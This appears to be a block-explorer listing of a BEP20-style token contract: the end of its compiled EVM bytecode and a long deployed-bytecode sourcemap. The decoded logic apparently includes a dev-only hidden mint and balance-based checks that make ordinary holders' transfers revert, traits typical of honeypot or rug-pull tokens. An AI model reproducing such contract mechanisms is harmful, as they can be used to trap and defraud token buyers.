ffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161179d9190612a30565b60405180910390a3600190509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611820576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181790612a10565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611890576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188790612930565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161196e9190612a30565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e2906128d0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a52906129f0565b60405180910390fd5b60011515611a68846120fa565b15151415611ab5576004548110611ab4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aab90612990565b60405180910390fd5b5b611abd610e28565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611b435750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611cf657611bb4816040518060600160405280602681526020016130ab60269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fd59092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c4981600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461209c90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611ce99190612a30565b60405180910390a3611fd0565b611cff836121cb565b611d0857600080fd5b6000611d326064611d246004548561151090919063ffffffff16565b61158b90919063ffffffff16565b90506000611d49828461227f90919063ffffffff16565b9050611db7836040518060600160405280602681526020016130ab60269139600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fd59092919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e4c81600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461209c90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f038260016000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461209c90919063ffffffff16565b60016000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611fc59190612a30565b60405180910390a350505b505050565b600083831115829061201d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612014919061288e565b60405180910390fd5b506000838561202c9190612b63565b9050809150509392505050565b60008083118290612080576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612077919061288e565b60405180910390fd5b506000838561208f9190612ad8565b9050809150509392505050565b60008082846120ab9190612a82565b9050838110156120f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e790612970565b60405180910390fd5b8091505092915050565b600080600090505b6006805490508110156121c4578273ffffffffffffffffffffffffffffffffffffffff1660068281548110612160577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156121b15760019150506121c6565b80806121bc90612c51565b915050612102565b505b919050565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480612235575060011515612231836122c9565b1515145b15612243576001905061227a565b60055461224f83610c8c565b101580156122675750600f5461226483610c8c565b11155b15612275576000905061227a565b600190505b919050565b60006122c183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611fd5565b905092915050565b600080600090505b600780549050811015612393578273ffffffffffffffffffffffffffffffffffffffff166007828154811061232f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612380576001915050612395565b808061238b90612c51565b9150506122d1565b505b919050565b6000813590506123a981613054565b92915050565b60008083601f8401126123c157600080fd5b8235905067ffffffffffffffff8111156123da57600080fd5b6020830191508360208202830111156123f257600080fd5b9250929050565b60008083601f84011261240b57600080fd5b8235905067ffffffffffffffff81111561242457600080fd5b60208301915083602082028301111561243c57600080fd5b9250929050565b6000813590506124528161306b565b92915050565b60006020828403121561246a57600080fd5b60006124788482850161239a565b91505092915050565b6000806040838503121561249457600080fd5b60006124a28582860161239a565b92505060206124b38582860161239a565b9150509250929050565b6000806000606084860312156124d257600080fd5b60006124e08682870161239a565b93505060206124f18682870161239a565b925050604061250286828701612443565b9150509250925092565b60008060008060006060868803121561252457600080fd5b60006125328882890161239a565b955050602086013567ffffffffffffffff81111561254f57600080fd5b61255b888289016123af565b9450945050604086013567ffffffffffffffff81111561257a57600080fd5b612586888289016123f9565b92509250509295509295909350565b600080604083850312156125a857600080fd5b60006125b68582860161239a565b92505060206125c785828601612443565b9150509250929050565b600080602083850312156125e457600080fd5b600083013567ffffffffffffffff8111156125fe57600080fd5b61260a858286016123af565b92509250509250929050565b60006020828403121561262857600080fd5b600061263684828501612443565b91505092915050565b61264881612b97565b82525050565b61265781612ba9565b82525050565b600061266882612a66565b6126728185612a71565b9350612682818560208601612bec565b61268b81612d27565b840191505092915050565b60006126a3602083612a71565b91506126ae82612d38565b602082019050919050565b60006126c6602583612a71565b91506126d182612d61565b604082019050919050565b60006126e9602883612a71565b91506126f482612db0565b604082019050919050565b600061270c602683612a71565b915061271782612dff565b604082019050919050565b600061272f602283612a71565b915061273a82612e4e565b604082019050919050565b6000612752601c83612a71565b915061275d82612e9d565b602082019050919050565b6000612775601b83612a71565b915061278082612ec6565b602082019050919050565b6000612798602883612a71565b91506127a382612eef565b604082019050919050565b60006127bb602183612a71565b91506127c682612f3e565b604082019050919050565b60006127de602083612a71565b91506127e982612f8d565b602082019050919050565b6000612801602383612a71565b915061280c82612fb6565b604082019050919050565b6000612824602483612a71565b915061282f82613005565b604082019050919050565b61284381612bd5565b82525050565b61285281612bdf565b82525050565b600060208201905061286d600083018461263f565b92915050565b6000602082019050612888600083018461264e565b92915050565b600060208201905081810360008301526128a8818461265d565b905092915050565b600060208201905081810360008301526128c981612696565b9050919050565b600060208201905081810360008301526128e9816126b9565b9050919050565b60006020820190508181036000830152612909816126dc565b9050919050565b60006020820190508181036000830152612929816126ff565b9050919050565b6000602082019050818103600083015261294981612722565b9050919050565b6000602082019050818103600083015261296981612745565b9050919050565b6000602082019050818103600083015261298981612768565b9050919050565b600060208201905081810360008301526129a98161278b565b9050919050565b600060208201905081810360008301526129c9816127ae565b9050919050565b600060208201905081810360008301526129e9816127d1565b9050919050565b60006020820190508181036000830152612a09816127f4565b9050919050565b60006020820190508181036000830152612a2981612817565b9050919050565b6000602082019050612a45600083018461283a565b92915050565b6000602082019050612a606000830184612849565b92915050565b600081519050919050565b600082825260208201905092915050565b6000612a8d82612bd5565b9150612a9883612bd5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612acd57612acc612c9a565b5b828201905092915050565b6000612ae382612bd5565b9150612aee83612bd5565b925082612afe57612afd612cc9565b5b828204905092915050565b6000612b1482612bd5565b9150612b1f83612bd5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612b5857612b57612c9a565b5b828202905092915050565b6000612b6e82612bd5565b9150612b7983612bd5565b925082821015612b8c57612b8b612c9a565b5b828203905092915050565b6000612ba282612bb5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015612c0a578082015181840152602081019050612bef565b83811115612c19576000848401525b50505050565b60006002820490506001821680612c3757607f821691505b60208210811415612c4b57612c4a612cf8565b5b50919050565b6000612c5c82612bd5565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612c8f57612c8e612c9a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a2063616e6e6f74207065726d6974206465762061646472657373600082015250565b7f42455032303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4d69736d61746368206265747765656e204164647265737320616e6420746f6b60008201527f656e20636f756e74000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f4e6f7420656e6f75676820746f6b656e7320746f2061697264726f7000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f42455032303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b61305d81612b97565b811461306857600080fd5b50565b61307481612bd5565b811461307f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365a2646970667358221220ef21e605272850a798464a649dd4ea52790e90f99a9c5e2b4756fd5dd05c7e8e64736f6c63430008040033

Deployed Bytecode Sourcemap

15509:10124:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23891:561;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16507:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20434:161;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20607:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17235:313;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18272:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21694:427;;;:::i;:::-;;19991:166;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;19719:260;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;24806:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14951:148;;;:::i;:::-;;14390:79;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16917:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19092:167;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18914:166;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;18419:163;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;18650:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;25459:163;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;19473:158;;;:::i;:::-;;25304:143;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15902:27;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15258:244;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;23891:561;14531:12;:10;:12::i;:::-;14521:22;;:6;;;;;;;;;;:22;;;14513:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;24011:12:::1;24072:6;;:13;;24052:9;;:16;;:33;24044:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;24150:6;24146:90;24164:9;;:16;;24160:1;:20;24146:90;;;24215:6;;24222:1;24215:9;;;;;;;;;;;;;;;;;;;;;24208:4;:16;;;;:::i;:::-;24201:23;;24182:3;;;;;:::i;:::-;;;;24146:90;;;;24279:4;24260:15;24270:4;24260:9;:15::i;:::-;:23;;24252:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;24337:6;24333:112;24351:9;;:16;;24347:1;:20;24333:112;;;24388:45;24403:4;24409:9;;24419:1;24409:12;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;24423:6;;24430:1;24423:9;;;;;;;;;;;;;;;;;;;;;24388:14;:45::i;:::-;;24369:3;;;;;:::i;:::-;;;;24333:112;;;;14591:1;23891:561:::0;;;;;:::o;16507:83::-;16544:13;16577:5;16570:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16507:83;:::o;20434:161::-;20509:4;20526:39;20535:12;:10;:12::i;:::-;20549:7;20558:6;20526:8;:39::i;:::-;20583:4;20576:11;;20434:161;;;;:::o;20607:95::-;20660:7;20687;;20680:14;;20607:95;:::o;17235:313::-;17333:4;17350:36;17360:6;17368:9;17379:6;17350:9;:36::i;:::-;17397:121;17406:6;17414:12;:10;:12::i;:::-;17428:89;17466:6;17428:89;;;;;;;;;;;;;;;;;:11;:19;17440:6;17428:19;;;;;;;;;;;;;;;:33;17448:12;:10;:12::i;:::-;17428:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;17397:8;:121::i;:::-;17536:4;17529:11;;17235:313;;;;;:::o;18272:83::-;18313:5;18338:9;;;;;;;;;;;18331:16;;18272:83;:::o;21694:427::-;21761:11;;;;;;;;;;;21745:27;;:12;:10;:12::i;:::-;:27;;;21737:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;21830:22;21855:9;:22;21865:11;;;;;;;;;;;21855:22;;;;;;;;;;;;;;;;21830:47;;21888:14;21915:5;21905:7;;:15;;;;:::i;:::-;21888:32;;21950:7;;21941:6;:16;;;;:::i;:::-;21931:7;:26;;;;22002:14;21993:6;:23;;;;:::i;:::-;21968:9;:22;21978:11;;;;;;;;;;;21968:22;;;;;;;;;;;;;;;:48;;;;22080:11;;;;;;;;;;;22032:81;;22063:1;22032:81;;;22106:6;22032:81;;;;;;:::i;:::-;;;;;;;;21694:427;;:::o;19991:166::-;20069:11;;;;;;;;;;;20053:27;;:12;:10;:12::i;:::-;:27;;;20045:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;20128:8;20142:6;20128:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;19991:166;:::o;19719:260::-;19817:11;;;;;;;;;;;19801:27;;:12;:10;:12::i;:::-;:27;;;19793:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;19880:6;19876:96;19894:9;;:16;;19890:1;:20;19876:96;;;19931:10;19947:9;;19957:1;19947:12;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;19931:29;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;19912:3;;;;;:::i;:::-;;;;19876:96;;;;19719:260;;:::o;24806:119::-;24872:7;24899:9;:18;24909:7;24899:18;;;;;;;;;;;;;;;;24892:25;;24806:119;;;:::o;14951:148::-;14531:12;:10;:12::i;:::-;14521:22;;:6;;;;;;;;;;:22;;;14513:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;15058:1:::1;15021:40;;15042:6;::::0;::::1;;;;;;;;15021:40;;;;;;;;;;;;15089:1;15072:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;14951:148::o:0;14390:79::-;14428:7;14455:6;;;;;;;;;;;14448:13;;14390:79;:::o;16917:87::-;16956:13;16989:7;16982:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16917:87;:::o;19092:167::-;19170:4;19187:42;19197:12;:10;:12::i;:::-;19211:9;19222:6;19187:9;:42::i;:::-;19247:4;19240:11;;19092:167;;;;:::o;18914:166::-;18996:11;;;;;;;;;;;18980:27;;:12;:10;:12::i;:::-;:27;;;18972:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;19066:6;19055:8;:17;;;;18914:166;:::o;18419:163::-;18499:11;;;;;;;;;;;18483:27;;:12;:10;:12::i;:::-;:27;;;18475:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;18568:6;18558:7;:16;;;;18419:163;:::o;18650:193::-;18734:11;;;;;;;;;;;18718:27;;:12;:10;:12::i;:::-;:27;;;18710:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;18807:28;18831:3;18807:19;18819:6;18807:7;;:11;;:19;;;;:::i;:::-;:23;;:28;;;;:::i;:::-;18793:11;:42;;;;18650:193;:::o;25459:163::-;25538:11;;;;;;;;;;;25522:27;;:12;:10;:12::i;:::-;:27;;;25514:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;25610:4;25597:10;;:17;;;;;;;;;;;;;;;;;;25459:163;:::o;19473:158::-;19541:11;;;;;;;;;;;19525:27;;:12;:10;:12::i;:::-;:27;;;19517:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;19615:8;;19600:12;:23;;;;19473:158::o;25304:143::-;25385:7;25412:11;:18;25424:5;25412:18;;;;;;;;;;;;;;;:27;25431:7;25412:27;;;;;;;;;;;;;;;;25405:34;;25304:143;;;;:::o;15902:27::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;15258:244::-;14531:12;:10;:12::i;:::-;14521:22;;:6;;;;;;;;;;:22;;;14513:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;15367:1:::1;15347:22;;:8;:22;;;;15339:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;15457:8;15428:38;;15449:6;::::0;::::1;;;;;;;;15428:38;;;;;;;;;;;;15486:8;15477:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;15258:244:::0;:::o;10792:471::-;10850:7;11100:1;11095;:6;11091:47;;;11125:1;11118:8;;;;11091:47;11150:9;11166:1;11162;:5;;;;:::i;:::-;11150:17;;11195:1;11190;11186;:5;;;;:::i;:::-;:10;11178:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;11254:1;11247:8;;;10792:471;;;;;:::o;11739:132::-;11797:7;11824:39;11828:1;11831;11824:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;11817:46;;11739:132;;;;:::o;6189:98::-;6242:7;6269:10;6262:17;;6189:98;:::o;24464:330::-;24557:4;24594:53;24616:6;24594:53;;;;;;;;;;;;;;;;;:9;:17;24604:6;24594:17;;;;;;;;;;;;;;;;:21;;:53;;;;;:::i;:::-;24574:9;:17;24584:6;24574:17;;;;;;;;;;;;;;;:73;;;;24681:32;24706:6;24681:9;:20;24691:9;24681:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;24658:9;:20;24668:9;24658:20;;;;;;;;;;;;;;;:55;;;;24746:9;24729:35;;24738:6;24729:35;;;24757:6;24729:35;;;;;;:::i;:::-;;;;;;;;24782:4;24775:11;;24464:330;;;;;:::o;17560:337::-;17670:1;17653:19;;:5;:19;;;;17645:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;17751:1;17732:21;;:7;:21;;;;17724:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;17835:6;17805:11;:18;17817:5;17805:18;;;;;;;;;;;;;;;:27;17824:7;17805:27;;;;;;;;;;;;;;;:36;;;;17873:7;17857:32;;17866:5;17857:32;;;17882:6;17857:32;;;;;;:::i;:::-;;;;;;;;17560:337;;;:::o;22580:1299::-;22696:1;22678:20;;:6;:20;;;;22670:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;22780:1;22759:23;;:9;:23;;;;22751:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;22873:4;22847:30;;:22;22862:6;22847:14;:22::i;:::-;:30;;;22843:133;;;22912:7;;22903:6;:16;22895:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;22843:133;23010:7;:5;:7::i;:::-;23000:17;;:6;:17;;;:42;;;;23031:11;;;;;;;;;;;23021:21;;:6;:21;;;23000:42;22996:876;;;23079:71;23101:6;23079:71;;;;;;;;;;;;;;;;;:9;:17;23089:6;23079:17;;;;;;;;;;;;;;;;:21;;:71;;;;;:::i;:::-;23059:9;:17;23069:6;23059:17;;;;;;;;;;;;;;;:91;;;;23188:32;23213:6;23188:9;:20;23198:9;23188:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;23165:9;:20;23175:9;23165:20;;;;;;;;;;;;;;;:55;;;;23271:9;23254:35;;23263:6;23254:35;;;23282:6;23254:35;;;;;;:::i;:::-;;;;;;;;22996:876;;;23330:27;23350:6;23330:19;:27::i;:::-;23321:37;;;;;;23387:19;23409:28;23433:3;23409:19;23420:7;;23409:6;:10;;:19;;;;:::i;:::-;:23;;:28;;;;:::i;:::-;23387:50;;23452:22;23477:23;23488:11;23477:6;:10;;:23;;;;:::i;:::-;23452:48;;23545:71;23567:6;23545:71;;;;;;;;;;;;;;;;;:9;:17;23555:6;23545:17;;;;;;;;;;;;;;;;:21;;:71;;;;;:::i;:::-;23525:9;:17;23535:6;23525:17;;;;;;;;;;;;;;;:91;;;;23654:40;23679:14;23654:9;:20;23664:9;23654:20;;;;;;;;;;;;;;;;:24;;:40;;;;:::i;:::-;23631:9;:20;23641:9;23631:20;;;;;;;;;;;;;;;:63;;;;23739:44;23771:11;23739:9;:27;23749:16;;;;;;;;;;;23739:27;;;;;;;;;;;;;;;;:31;;:44;;;;:::i;:::-;23709:9;:27;23719:16;;;;;;;;;;;23709:27;;;;;;;;;;;;;;;:74;;;;23834:9;23817:43;;23826:6;23817:43;;;23845:14;23817:43;;;;;;:::i;:::-;;;;;;;;22996:876;;;22580:1299;;;:::o;10341:192::-;10427:7;10460:1;10455;:6;;10463:12;10447:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;10487:9;10503:1;10499;:5;;;;:::i;:::-;10487:17;;10524:1;10517:8;;;10341:192;;;;;:::o;12367:278::-;12453:7;12485:1;12481;:5;12488:12;12473:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;12512:9;12528:1;12524;:5;;;;:::i;:::-;12512:17;;12636:1;12629:8;;;12367:278;;;;;:::o;9438:181::-;9496:7;9516:9;9532:1;9528;:5;;;;:::i;:::-;9516:17;;9557:1;9552;:6;;9544:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;9610:1;9603:8;;;9438:181;;;;:::o;21447:235::-;21509:4;21531:9;21543:1;21531:13;;21526:149;21550:10;:17;;;;21546:1;:21;21526:149;;;21610:6;21593:23;;:10;21604:1;21593:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:23;;;21589:75;;;21644:4;21637:11;;;;;21589:75;21569:3;;;;;:::i;:::-;;;;21526:149;;;;21447:235;;;;:::o;21029:406::-;21104:4;21142:10;;;;;;;;;;;21124:28;;:14;:28;;;:70;;;;21190:4;21156:38;;:30;21171:14;21156;:30::i;:::-;:38;;;21124:70;21120:114;;;21218:4;21211:11;;;;21120:114;21287:12;;21258:25;21268:14;21258:9;:25::i;:::-;:41;;:85;;;;;21332:11;;21303:25;21313:14;21303:9;:25::i;:::-;:40;;21258:85;21254:174;;;21367:5;21360:12;;;;21254:174;21412:4;21405:11;;21029:406;;;;:::o;9902:136::-;9960:7;9987:43;9991:1;9994;9987:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;9980:50;;9902:136;;;;:::o;22133:231::-;22195:4;22217:9;22229:1;22217:13;;22212:145;22236:8;:15;;;;22232:1;:19;22212:145;;;22292:6;22277:21;;:8;22286:1;22277:11;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:21;;;22273:73;;;22326:4;22319:11;;;;;22273:73;22253:3;;;;;:::i;:::-;;;;22212:145;;;;22133:231;;;;:::o;7:139:1:-;53:5;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;169:367::-;242:8;252:6;302:3;295:4;287:6;283:17;279:27;269:2;;320:1;317;310:12;269:2;356:6;343:20;333:30;;386:18;378:6;375:30;372:2;;;418:1;415;408:12;372:2;455:4;447:6;443:17;431:29;;509:3;501:4;493:6;489:17;479:8;475:32;472:41;469:2;;;526:1;523;516:12;469:2;259:277;;;;;:::o;559:367::-;632:8;642:6;692:3;685:4;677:6;673:17;669:27;659:2;;710:1;707;700:12;659:2;746:6;733:20;723:30;;776:18;768:6;765:30;762:2;;;808:1;805;798:12;762:2;845:4;837:6;833:17;821:29;;899:3;891:4;883:6;879:17;869:8;865:32;862:41;859:2;;;916:1;913;906:12;859:2;649:277;;;;;:::o;932:139::-;978:5;1016:6;1003:20;994:29;;1032:33;1059:5;1032:33;:::i;:::-;984:87;;;;:::o;1077:262::-;1136:6;1185:2;1173:9;1164:7;1160:23;1156:32;1153:2;;;1201:1;1198;1191:12;1153:2;1244:1;1269:53;1314:7;1305:6;1294:9;1290:22;1269:53;:::i;:::-;1259:63;;1215:117;1143:196;;;;:::o;1345:407::-;1413:6;1421;1470:2;1458:9;1449:7;1445:23;1441:32;1438:2;;;1486:1;1483;1476:12;1438:2;1529:1;1554:53;1599:7;1590:6;1579:9;1575:22;1554:53;:::i;:::-;1544:63;;1500:117;1656:2;1682:53;1727:7;1718:6;1707:9;1703:22;1682:53;:::i;:::-;1672:63;;1627:118;1428:324;;;;;:::o;1758:552::-;1835:6;1843;1851;1900:2;1888:9;1879:7;1875:23;1871:32;1868:2;;;1916:1;1913;1906:12;1868:2;1959:1;1984:53;2029:7;2020:6;2009:9;2005:22;1984:53;:::i;:::-;1974:63;;1930:117;2086:2;2112:53;2157:7;2148:6;2137:9;2133:22;2112:53;:::i;:::-;2102:63;;2057:118;2214:2;2240:53;2285:7;2276:6;2265:9;2261:22;2240:53;:::i;:::-;2230:63;;2185:118;1858:452;;;;;:::o;2316:878::-;2447:6;2455;2463;2471;2479;2528:2;2516:9;2507:7;2503:23;2499:32;2496:2;;;2544:1;2541;2534:12;2496:2;2587:1;2612:53;2657:7;2648:6;2637:9;2633:22;2612:53;:::i;:::-;2602:63;;2558:117;2742:2;2731:9;2727:18;2714:32;2773:18;2765:6;2762:30;2759:2;;;2805:1;2802;2795:12;2759:2;2841:80;2913:7;2904:6;2893:9;2889:22;2841:80;:::i;:::-;2823:98;;;;2685:246;2998:2;2987:9;2983:18;2970:32;3029:18;3021:6;3018:30;3015:2;;;3061:1;3058;3051:12;3015:2;3097:80;3169:7;3160:6;3149:9;3145:22;3097:80;:::i;:::-;3079:98;;;;2941:246;2486:708;;;;;;;;:::o;3200:407::-;3268:6;3276;3325:2;3313:9;3304:7;3300:23;3296:32;3293:2;;;3341:1;3338;3331:12;3293:2;3384:1;3409:53;3454:7;3445:6;3434:9;3430:22;3409:53;:::i;:::-;3399:63;;3355:117;3511:2;3537:53;3582:7;3573:6;3562:9;3558:22;3537:53;:::i;:::-;3527:63;;3482:118;3283:324;;;;;:::o;3613:425::-;3699:6;3707;3756:2;3744:9;3735:7;3731:23;3727:32;3724:2;;;3772:1;3769;3762:12;3724:2;3843:1;3832:9;3828:17;3815:31;3873:18;3865:6;3862:30;3859:2;;;3905:1;3902;3895:12;3859:2;3941:80;4013:7;4004:6;3993:9;3989:22;3941:80;:::i;:::-;3923:98;;;;3786:245;3714:324;;;;;:::o;4044:262::-;4103:6;4152:2;4140:9;4131:7;